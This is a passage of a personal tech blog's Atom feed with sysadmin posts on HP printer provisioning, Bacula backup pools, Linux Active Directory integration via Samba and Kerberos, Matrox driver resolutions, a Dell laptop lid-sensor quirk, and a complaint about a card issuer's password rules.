&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/3307513979781053062/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/3307513979781053062' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/3307513979781053062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/3307513979781053062'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2013/03/install-samba-404-on-ubuntu-1204-lts.html' title='Install Samba 4(.0.4) on Ubuntu 12.04 LTS, from source'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-1629784410677610079</id><published>2012-09-14T14:30:00.000-07:00</published><updated>2012-09-14T14:30:24.986-07:00</updated><title type='text'>Provisioning HP printers</title><content type='html'>At the office we recently added another printer and since we mostly use HP printers I was looking for some way to ease configuration. Although HP network printers usually have telnet available, there is an easier way to supply a default configuration to all your printers, which will also serve as a single source for configuration setting updates.

HP printers support getting a configuration file using TFTP. Telling the printer what file it should get is a matter of properly configuring DHCP. The following excerpt from my &lt;em&gt;dhcpd.conf&lt;/em&gt; shows configuration for a single device:
&lt;pre&gt;host sales.print.domain.tld {
    hardware ethernet 00:11:22:33:44:55;
    option extensions-path &quot;hp.conf&quot;;
}&lt;/pre&gt;
You can combine this with other statements to provide a hostname to the printer as well and to give the printer a fixed IP or registering it&#39;s name in DNS. Although (some) HP printers should support a different server address for the TFTP server, I haven&#39;t been able to get that working, so I just set up tftpd-hpa on my DHCP-server.

The contents of the configuration file are really simple, you can set the same settings as you can set using telnet, and there&#39;s an &lt;code&gt;export&lt;/code&gt; command in the telnet service that will output the current settings in a way that it can be used as a configuration file. But here&#39;s a short example that shows how to disable some services:
&lt;pre&gt;slp-config      0
bonjour-config  0
ipx-config      0
appletalk       0&lt;/pre&gt;
I used tabs for seperation of keys and values, but it should work with spaces as well. Just run &lt;code&gt;export&lt;/code&gt; on your device to get a complete overview of all the settings to change.

Now when your next new printer arrives, it&#39;s just a matter of adding the host to DHCP and you&#39;re done.</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/1629784410677610079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/1629784410677610079' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/1629784410677610079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/1629784410677610079'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2012/09/provisioning-hp-printers.html' title='Provisioning HP printers'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-705528009230427103</id><published>2012-09-04T13:29:00.000-07:00</published><updated>2012-09-04T13:29:16.519-07:00</updated><title type='text'>Run backup job with specified pool in Bacula</title><content type='html'>Unfortunately the &lt;code&gt;run&lt;/code&gt; command in Bacula only has a few options, so it&#39;s not possible to actually pass a pool to the run command right away. However, there&#39;s a decent alternative, by performing the &lt;code&gt;mod&lt;/code&gt; action automatically. The only thing to do is to find the menu entry for the pool you want:
&lt;pre&gt;$ &lt;em&gt;echo -e &quot;run job=Mack level=Full\nmod\n8\n.&quot; | sudo bconsole&lt;/em&gt;
Connecting to Director localhost:9101
1000 OK: mijlweg-dir Version: 5.0.3 (04 August 2010)
Enter a period to cancel a command.
run job=Mack level=Full
Using Catalog &quot;MyCatalog&quot;
Run Backup job
JobName:  Mack
Level:    Full
Client:   mijlweg-fd
FileSet:  Mack
Pool:     Default (From Job resource)
Storage:  LTO-5 (From Job resource)
When:     2012-09-04 22:14:04
Priority: 10
OK to run? (yes/mod/no): mod
Parameters to modify:
     1: Level
     2: Storage
     3: Job
     4: FileSet
     5: Client
     6: When
     7: Priority
     8: Pool
     9: Plugin Options
Select parameter to modify (1-9): 8
The defined Pool resources are:
     1: Default
     2: Monthly
     3: Ghost
Select Pool resource (1-3): .
Selection aborted, nothing done.
Job not run.
$ &lt;/pre&gt;
Don&#39;t assume the numbers here are equal to what you have, but actually run this command with a valid job identifier (I used &lt;em&gt;Mack&lt;/em&gt; in the example). After that, make a small change to command to run the backup job:
&lt;pre&gt;$ &lt;em&gt;echo -e &quot;run job=Mack level=Full\nmod\n8\n2\nyes&quot; | sudo bconsole&lt;/em&gt;
Connecting to Director localhost:9101
1000 OK: mijlweg-dir Version: 5.0.3 (04 August 2010)
Enter a period to cancel a command.
run job=Mack level=Full
Using Catalog &quot;MyCatalog&quot;
Run Backup job
JobName:  Mack
Level:    Full
Client:   mijlweg-fd
FileSet:  Mack
Pool:     Default (From Job resource)
Storage:  LTO-5 (From Job resource)
When:     2012-09-04 22:20:29
Priority: 10
OK to run? (yes/mod/no): mod
Parameters to modify:
     1: Level
     2: Storage
     3: Job
     4: FileSet
     5: Client
     6: When
     7: Priority
     8: Pool
     9: Plugin Options
Select parameter to modify (1-9): 8
The defined Pool resources are:
     1: Default
     2: Monthly
     3: Ghost
Select Pool resource (1-3): 2
Run Backup job
JobName:  Mack
Level:    Full
Client:   mijlweg-fd
FileSet:  Mack
Pool:     Monthly (From User input)
Storage:  LTO-5 (From Job resource)
When:     2012-09-04 22:20:29
Priority: 10
OK to run? (yes/mod/no): yes
Job queued. JobId=12660
$ &lt;/pre&gt;
And there you go, backup running with specified pool!</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/705528009230427103/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/705528009230427103' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/705528009230427103'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/705528009230427103'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2012/09/run-backup-job-with-specified-pool-in.html' title='Run backup job with specified pool in Bacula'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-5931888606014853889</id><published>2012-04-21T04:33:00.001-07:00</published><updated>2012-04-21T04:33:14.432-07:00</updated><title type='text'>When security matters ...</title><content type='html'>... password restrictions are retarded. When I wanted to activate an online account for my creditcard I entered the same secure password I always use, but guess what, it was not accepted. The password restrictions are as follows:

&lt;blockquote&gt;Het door u gekozen wachtwoord voldoet niet aan de eisen. Uw wachtwoord moet bestaan uit minimaal &amp;eacute;&amp;eacute;n cijfer en vijf letters. De maximale lengte is tien cijfers en/of letters. Leestekens en symbolen zoals !@#$%&amp;^*_ worden niet herkend. Let op: uw wachtwoord is hoofdlettergevoelig.&lt;/blockquote&gt;

... in English:

&lt;blockquote&gt;The chosen password does not meet our requirements. Your password has to contain at least one digit and five characters. The maximum length is ten digits and/or characters. Punctuation marks and symbols such as !@#$%&amp;^*_ are not recognized. Attention: your password is case sensitive.&lt;/blockquote&gt;

Seriously? Please &lt;em&gt;International Card Services&lt;/em&gt;, get your stuff together and stop the retarded password restrictions and accept secure passwords for a change...</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/5931888606014853889/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/5931888606014853889' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/5931888606014853889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/5931888606014853889'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2012/04/when-security-matters.html' title='When security matters ...'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-4908993593319383143</id><published>2012-02-10T10:50:00.000-08:00</published><updated>2012-02-10T14:52:18.760-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="active directory"/><category scheme="http://www.blogger.com/atom/ns#" term="kerberos"/><category scheme="http://www.blogger.com/atom/ns#" term="nss"/><category scheme="http://www.blogger.com/atom/ns#" term="pam"/><category scheme="http://www.blogger.com/atom/ns#" term="samba4"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><category scheme="http://www.blogger.com/atom/ns#" term="sudo"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><category scheme="http://www.blogger.com/atom/ns#" term="winbind"/><title type='text'>Linux integration with Active Directory: part 1</title><content type='html'>At work I&#39;ve been running Samba 4 for quite a while. Because Samba 4 is still in Alpha I didn&#39;t just move everything over to use Samba 4 for authentication, but instead I started out by moving services over one by one. I actually started with e-mail routing (will detail in a later post) and authentication. Later on I added proxy authentication and fileserver authentication / authorization, Windows XP and Windows 7 clients and last but not least actual Linux (PAM) user authentication.&lt;br /&gt;&lt;br /&gt;In this post I will detail how to join a (Debian / Ubuntu) Linux machine to the domain, setup Kerberos, setup nss to make Linux aware of domain users and setting up PAM to allow domain user authentication. I&#39;m using Samba 4 as Active Directory implementation, however this should all just work against a Windows server hosted Active Directory as well. I&#39;m going to make use of a feature that requires Windows Server 2003R2 or newer, or IDMU (&lt;a href=&quot;http://technet.microsoft.com/de-de/library/cc782782%28WS.10%29.aspx&quot; title=&quot;IDMU&quot;&gt;Identity Management for Unix&lt;/a&gt;), but that&#39;s only used to store the users&#39; shell in Active Directory.&lt;br /&gt;&lt;br /&gt;First off, I&#39;m assuming that DNS is properly set up. It&#39;s not needed, since both Kerberos and Samba can be made to work without DNS, but best case that means a lot of hosts file mess on almost all involved computers. Honestly it&#39;s easier to even do a manual DNS setup than to keep such a hosts file mess up to date. I will detail some parts for the non-DNS case as well, since it&#39;s useful information.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Setting up Kerberos&lt;/h3&gt;&lt;br /&gt;Now on to the real work. Setting up Kerberos is really easy:&lt;pre&gt;# &lt;em&gt;apt-get install krb5-config&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;This should probably ask just one question: the default Kerberos realm. This normally is the uppercase Active Directory domain name. If you don&#39;t have DNS setup it will also ask two more questions:&lt;ul&gt;&lt;li&gt;The kerberos servers&lt;/li&gt;&lt;li&gt;The kerberos admin servers&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;These are the Active Directory Domain Controllers (although Samba 4 doesn&#39;t provide the kadmin interface right now). You probably need to add these to your hosts file as well.&lt;br /&gt;&lt;br /&gt;If you actually want to check if it&#39;s working, you should probably install &lt;em&gt;krb5-user&lt;/em&gt; as well and try to do a &lt;code&gt;&lt;em&gt;kinit&lt;/em&gt;&lt;/code&gt; to acquire a Kerberos ticket, but if you&#39;ve done a few servers you&#39;ll probably believe me when I tell you you don&#39;t need krb5-user for Kerberos support.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Joining the domain&lt;/h3&gt;&lt;br /&gt;Now it&#39;s time to join the Linux machine to the domain (since Kerberos is working). We start by installing winbind:&lt;pre&gt;# &lt;em&gt;apt-get install winbind&lt;/em&gt;&lt;br /&gt;# &lt;em&gt;/etc/init.d/winbind stop&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;We don&#39;t need an active winbind instance around, so let&#39;s stop it right away. If &lt;em&gt;smbd&lt;/em&gt; or &lt;em&gt;nmbd&lt;/em&gt; are running stop those as well.&lt;br /&gt;&lt;br /&gt;Now continue by editing &lt;em&gt;/etc/samba/smb.conf&lt;/em&gt; to contain all of the required configuration for Active Directory support:&lt;pre&gt;[global]&lt;br /&gt;netbios name = &lt;em&gt;yourhostname&lt;/em&gt;&lt;br /&gt;server string = &lt;em&gt;your host description&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;realm = &lt;em&gt;YOUR.REALM&lt;/em&gt;&lt;br /&gt;workgroup = &lt;em&gt;YOURWORKGROUP&lt;/em&gt;&lt;br /&gt;security = ADS&lt;br /&gt;local master = no&lt;br /&gt;preferred master = no&lt;br /&gt;dns proxy = no&lt;br /&gt;&lt;br /&gt;# set password server if you don&#39;t have functional DNS&lt;br /&gt;#password server = dc.domain.tld&lt;br /&gt;&lt;br /&gt;encrypt passwords = true&lt;br /&gt;# setting kerberos method = system keytab prevents pam_winbind from&lt;br /&gt;# authenticating users for me, but the following does work&lt;br /&gt;kerberos method = secrets and keytab&lt;br /&gt;&lt;br /&gt;# Using winbind default domain = yes makes usernames work without domain part&lt;br /&gt;winbind use default domain = yes&lt;br /&gt;winbind enum groups = yes&lt;br /&gt;winbind enum users = yes&lt;br /&gt;# winbind nss info = rfc2307 makes winbind use posix attributes from AD&lt;br /&gt;winbind nss info = rfc2307&lt;br /&gt;&lt;br /&gt;# map untrusted to domain = yes allows any user to be mapped to the domain user&lt;br /&gt;# with the same username, but also prevents local samba accounts from being used&lt;br /&gt;map untrusted to domain = no&lt;br /&gt;&lt;br /&gt;# template homedir can be used to designate the location of users&#39; home&lt;br /&gt;# directories&lt;br /&gt;template homedir = /home/%U&lt;br /&gt;# template shell defines the default shell for when none is set in the posix&lt;br /&gt;# loginShell attribute for a user. Setting this to /bin/false allows login only&lt;br /&gt;# for those users that have this attribute set. pam_winbind also has an option&lt;br /&gt;# to limit access to several groups only, which is actually a real security&lt;br /&gt;# measure unlike this attribute which might be changed by users&lt;br /&gt;template shell = /bin/false&lt;br /&gt;&lt;br /&gt;# The first two idmap lines are for the domain, the other two for local samba&lt;br /&gt;# accounts. Using the rid backend maps the ids to the end of the user&#39;s SID,&lt;br /&gt;# which makes consistent id mapping across servers possible.&lt;br /&gt;idmap config &lt;em&gt;yourworkgroup&lt;/em&gt; : backend = rid&lt;br /&gt;idmap config &lt;em&gt;yourworkgroup&lt;/em&gt; : range = 10000 - 49999&lt;br /&gt;idmap uid = 50000 - 100000&lt;br /&gt;idmap gid = 50000 - 100000&lt;/pre&gt;Replace all the fields in bold with values applicable to your domain.&lt;br /&gt;&lt;br /&gt;Now it&#39;s time to join the domain:&lt;pre&gt;# &lt;em&gt;net join -UAdministrator&lt;/em&gt;&lt;br /&gt;Enter Administrator&#39;s password:&lt;br /&gt;Using short domain name -- YOURDOM&lt;br /&gt;Joined &#39;YOURHOST&#39; to realm &#39;your.domain&#39;&lt;br /&gt;[2012/02/10 21:15:35,  0] libads/kerberos.c:333(ads_kinit_password)&lt;br /&gt;  kerberos_kinit_password YOURHOST$@YOUR.REALM failed: Client not found in Kerberos database&lt;br /&gt;DNS update failed!&lt;br /&gt;# &lt;em&gt;/etc/init.d/winbind start&lt;/em&gt;&lt;br /&gt; * Starting the Winbind daemon winbind                                   [ OK ]&lt;br /&gt;# &lt;/pre&gt;&lt;br /&gt;If DNS is not properly set up, use &lt;code&gt;net join -UAdministrator -Sdc.yourdom&lt;/code&gt;, this tells net what server it should use for the join.&lt;br /&gt;&lt;br /&gt;As far as I know these errors are nothing to be concerned about, but the DNS update failed means that net/Samba wasn&#39;t able to register the host in DNS. If you have DDNS updates from a DHCP server or there&#39;s already a static entry for the server in DNS then you don&#39;t need to worry at all. Now try &lt;code&gt;&lt;em&gt;wbinfo -u&lt;/em&gt;&lt;/code&gt; and see if the Active Directory users show up.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Setting up nss&lt;/h3&gt;&lt;br /&gt;Setting up nss is another easy step, we just need to add two references to winbind, for both &lt;em&gt;passwd&lt;/em&gt; and &lt;em&gt;group&lt;/em&gt;. Edit &lt;em&gt;/etc/nsswitch.conf&lt;/em&gt; and change the passwd and group lines:&lt;pre&gt;...&lt;br /&gt;passwd:         compat&lt;ins&gt; winbind&lt;/ins&gt;&lt;br /&gt;group:          compat&lt;ins&gt; winbind&lt;/ins&gt;&lt;br /&gt;...&lt;/pre&gt;&lt;br /&gt;Verify with &lt;code&gt;getent passwd&lt;/code&gt; that all the domain users are listed and their home directories make sense. Now would be a good time to change the loginShell attribute for your user, because as you can see it now is &lt;em&gt;/bin/false&lt;/em&gt; for all users.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Setting up PAM&lt;/h3&gt;&lt;br /&gt;Now that the users actually &#39;exist&#39; on the machine, let&#39;s enable authentication for them as well (if your package manager hasn&#39;t already done that for you):&lt;pre&gt;# &lt;em&gt;pam-auth-update&lt;/em&gt;&lt;br /&gt;...&lt;br /&gt;Some PAM module packages provide profiles that can be used to&lt;br /&gt;automatically adjust the behavior of all PAM-using applications on the&lt;br /&gt;system.  Please indicate which of these behaviors you wish to enable.&lt;br /&gt;&lt;br /&gt;PAM profiles to enable:&lt;br /&gt;&lt;br /&gt;   [*] Unix authentication&lt;br /&gt;   [&lt;em&gt;*&lt;/em&gt;] Winbind NT/Active Directory authentication&lt;br /&gt;...&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now let&#39;s logon to the server from another computer:&lt;pre&gt;$ &lt;em&gt;ssh user@yourhost&lt;/em&gt;&lt;br /&gt;user@yourhost&#39;s password: &lt;br /&gt;...&lt;br /&gt;Could not chdir to home directory /home/user: No such file or directory&lt;br /&gt;user@yourhost:/$&lt;/pre&gt;&lt;br /&gt;That&#39;s not good is it? Well, it is, but let&#39;s make it better, but first...&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;It doesn&#39;t work!&lt;/h3&gt;&lt;br /&gt;Oh well, bad things can happen. It should work, it works for me on multiple machines, both freshly installed and some older installations, both latest and long-term Ubuntu releases and different Debian releases. But it doesn&#39;t work for you... There&#39;s a few places you can check right now, one is &lt;em&gt;/var/log/auth.log&lt;/em&gt;. However, this might not be the most useful log file in case of authentication failures against Active Directory. A good help though is to start winbind in debug mode:&lt;pre&gt;# &lt;em&gt;winbindd -d 3 -i&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;This will list a lot of debug information. Look at the messages that occur during a login attempt, it helped me to discover that I needed to use &lt;em&gt;kerberos method = secrets and keytab&lt;/em&gt; in &lt;em&gt;smb.conf&lt;/em&gt;. It wasn&#39;t saying so directly, and don&#39;t expect it to tell you the solution to all your problems, but the error messages can be informative...&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Finishing touches&lt;/h3&gt;&lt;br /&gt;Now to continue where we left off, apparently we don&#39;t have a home directory on the server yet. This makes sense, and there&#39;s a proper solution. We just need to tell pam to use a module that will make a home directory for a user logging in. Let&#39;s do so by adding one line to the end of &lt;em&gt;/etc/pam.d/common-account&lt;/em&gt;:&lt;pre&gt;session required pam_mkhomedir.so umask=0077 skel=/etc/skel&lt;/pre&gt;You can change the umask, but 0077 means that the directory is owned by the user and that group and other have no permissions at all. Now if we login we end up in our newly created home directory.&lt;br /&gt;&lt;br /&gt;Next up is &lt;em&gt;sudo&lt;/em&gt;. There&#39;s a possibility you want to grant sudo rights to someone in your domain, for instance to the &lt;em&gt;Domain Admins&lt;/em&gt; group. Of course this is not any different from granting permissions to a local group, I&#39;m detailing it here for a more complete solution. Edit &lt;em&gt;/etc/sudoers&lt;/em&gt; in your favorite editor and add the following line:&lt;pre&gt;%domain\ admins ALL=(ALL) ALL&lt;/pre&gt;&lt;br /&gt;The backslash is just used to escape the space in the group name, otherwise this is no different than any other sudoers entry.&lt;br /&gt;&lt;br /&gt;We&#39;ve come a long way from where we started, but there&#39;s still room for improvement. We enabled login using Active Directory credentials, but what if we already logged in somewhere else? In Windows SSO (Single SignOn) works out of the box, but let&#39;s add it to our Linux machine(s) as well. What we need for SSO is Kerberos, and since we just set that up we can use it for other services as well. For now I&#39;ll only discuss on setting this up for OpenSSH. In &lt;em&gt;/etc/ssh/sshd_config&lt;/em&gt; there are two commented lines that we need to change and uncomment so they look like this:&lt;pre&gt;...&lt;br /&gt;GSSAPIAuthentication yes&lt;br /&gt;GSSAPICleanupCredentials yes&lt;br /&gt;...&lt;/pre&gt;&lt;br /&gt;Don&#39;t be fooled by the Kerberos lines, they&#39;re not needed for Single SignOn. Now restart SSH:&lt;pre&gt;# &lt;em&gt;/etc/init.d/ssh restart&lt;/em&gt;&lt;br /&gt;Rather than invoking init scripts through /etc/init.d, use the service(8)&lt;br /&gt;utility, e.g. service ssh restart&lt;br /&gt;&lt;br /&gt;Since the script you are attempting to invoke has been converted to an&lt;br /&gt;Upstart job, you may also use the restart(8) utility, e.g. restart ssh&lt;br /&gt;ssh start/running, process 32441&lt;/pre&gt;&lt;br /&gt;Now back to the other computer to do a ssh login and see if you can log in without having to supply a password. If it doesn&#39;t work, try the following command:&lt;pre&gt;$ &lt;em&gt;ssh -vvv -o PreferredAuthentications=gssapi-with-mic user@yourhost&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;This will show a lot of debug messages, probably with a descriptive error message near the end. One thing to keep in mind is that the client needs to know the Kerberos principal for the host it&#39;s connecting to. This is because with Kerberos, the client is also verifying that the server is actually (according to Kerberos) who it&#39;s trying to connect to. The way ssh determines the principal is by using the &lt;em&gt;HostKeyAlias&lt;/em&gt;, which defaults to the host you&#39;re connecting to. However, it&#39;s easy to cheat if there&#39;s no working dns by supplying &lt;em&gt;-o HostKeyAlias=yourhost&lt;/em&gt; on the ssh commandline.&lt;br /&gt;&lt;br /&gt;We can make this even better than it is right now. You might have noticed that if you&#39;re logging in using password authentication that you actually get a Kerberos ticket, pam_winbind makes sure this happens. But now that we log in using Kerberos authentication, we don&#39;t get a ticket. Seems strange, but it&#39;s not. Ssh has decided to turn credential delegation off by default, but we can turn it on again. To do this on a per-user basis you can edit &lt;em&gt;~/.ssh/config&lt;/em&gt; and add the following line:&lt;pre&gt;GSSAPIDelegateCredentials yes&lt;/pre&gt;Now if you logon to the machine using Kerberos your ticket is delegated and you can use it to ssh to other computers as well.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Final notes&lt;/h3&gt;&lt;br /&gt;You should now have a quite-well-integrated Linux machine. In future parts I will discuss mail routing and authentication and proxy server authentication and authorization. This post might be expanded to include some topics that were missing at first, I will try to keep an update list in here as well.</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/4908993593319383143/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/4908993593319383143' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/4908993593319383143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/4908993593319383143'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2012/02/linux-integration-with-active-directory.html' title='Linux integration with Active Directory: part 1'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-1922441269763282346</id><published>2011-10-12T02:21:00.000-07:00</published><updated>2011-10-12T02:33:12.537-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="DELL PowerEdge T110"/><category scheme="http://www.blogger.com/atom/ns#" term="G200eW"/><category scheme="http://www.blogger.com/atom/ns#" term="Matrox"/><category scheme="http://www.blogger.com/atom/ns#" term="widescreen"/><title type='text'>Enabling higher resolutions on Matrox G200eW</title><content type='html'>Recently we bought 5 DELL PowerEdge T110 servers to deploy to customers. After installing Windows XP on the PERC S100 RAID (more on that in a future post) I had to look for a driver for the graphics card. Of course you can&#39;t easily find it at Matrox&#39;s site, so I went over to DELL support and downloaded the Windows Server 2003 Matrox driver. Server 2003 and XP both being NT5 this worked like a charm, as was to be expected. There is another issue however, by default the Matrox driver supports 4:3 resolutions up to 1280x1024, but we use widescreen monitors which can do 1920x1080, and we&#39;re relying on that.&lt;br /&gt;&lt;br /&gt;Just a week ago I was fiddling with Matrox drivers for a G450, where I had the same issue with resolutions, where the latest driver did support the correct 16:9 resolutions. When I was comparing the drivers, I noticed there&#39;s a resolution reference directly in the driver inf file. For the G200eW, this listed just a few resolutions, but for the G450 there was a long list. Changing this value to what the G450 had listed was enough to get it working, so now our G200eW can do 1920x1080 without issues. Here&#39;s the changed value for future reference:&lt;br /&gt;&lt;pre&gt;HKR,,Mga.SingleResolutions,0x00000001,\&lt;br /&gt;40,01,C8,00,40,01,F0,00,00,02,80,01,80,02,90,01,\ ; 320x 200,  320x 240,  512x 384,  640x 400&lt;br /&gt;80,02,E0,01,20,03,58,02,50,03,E0,01,58,03,E0,01,\ ; 640x 480,  800x 600,  848x 480,  856x 480&lt;br /&gt;60,03,E0,01,C0,03,60,09,00,04,00,02,00,04,00,03,\ ; 864x 480,  960x2400, 1024x 512, 1024x 768&lt;br /&gt;00,04,00,05,00,04,00,06,30,04,58,02,80,04,60,03,\ ;1024x1280, 1024x1536, 1072x 600, 1152x 864&lt;br /&gt;B0,04,40,06,00,05,D0,02,00,05,00,03,00,05,20,03,\ ;1200x1600, 1280x 720, 1280x 768, 1280x 800&lt;br /&gt;00,05,C0,03,00,05,00,04,00,05,40,06,50,05,00,03,\ ;1280x 960, 1280x1024, 1280x1600, 1360x 768&lt;br /&gt;58,05,00,03,60,05,00,03,78,05,1A,04,A0,05,84,03,\ ;1368x 768, 1376x 768, 1400x1050, 1440x 900&lt;br /&gt;40,06,00,04,40,06,B0,04,40,06,00,05,90,06,1A,04,\ ;1600x1024, 1600x1200, 1600x1280, 1680x1050&lt;br /&gt;00,07,40,05,08,07,A0,05,40,07,70,05,80,07,0A,04,\ ;1792x1344, 1800x1440, 1856x1392, 1920x1034&lt;br /&gt;80,07,38,04,80,07,B0,04,80,07,A0,05,00,08,00,06   ;1920x1080, 1920x1200, 1920x1440, 2048x1536&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/1922441269763282346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/1922441269763282346' title='67 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/1922441269763282346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/1922441269763282346'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2011/10/enabling-higher-resolutions-on-matrox.html' title='Enabling higher resolutions on Matrox G200eW'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>67</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-8932228168782829842</id><published>2011-07-27T04:41:00.000-07:00</published><updated>2011-07-27T04:51:05.517-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="backlight"/><category scheme="http://www.blogger.com/atom/ns#" term="Dell Vostro 3550"/><category scheme="http://www.blogger.com/atom/ns#" term="lid"/><category scheme="http://www.blogger.com/atom/ns#" term="stack"/><title type='text'>DELL Vostro 3550 stacking issue</title><content type='html'>At work I often order a few laptops at the same time. Because of this it often occurs I install one of the laptops, then put another one on top to install that one. Now I had a Vostro 3550 on my desk and I put another one on top of it. When I turned it on the screen stayed black, or at least so it seemed. After a while I noticed there was a faint graphic showing, so my guess was the backlight was broken. I pushed the power button, pressed F2 to enter BIOS hoping that would help, then when I turned the laptop to the light to see if there was something on the screen it turned on. I put the laptop down again, it turned off. Lift the front up half a centimeter, screen turns on.&lt;br /&gt;&lt;br /&gt;So I was thinking, must be a bad connection, right? Well I had another 3550 still in the box, so I removed the top 3550, put it aside, put the other one on there, turned it on, same issue! This was too much coincidence for me and I quickly noticed that the 3550 doesn&#39;t have any buttons to detect whether the lid is closed, so it uses magnets to do this. Well of course if you stack two laptops on top there&#39;s always a lid nearby, I didn&#39;t expect it to be this sensitive though...</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/8932228168782829842/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/8932228168782829842' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/8932228168782829842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/8932228168782829842'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2011/07/dell-vostro-3550-stacking-issue.html' title='DELL Vostro 3550 stacking issue'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 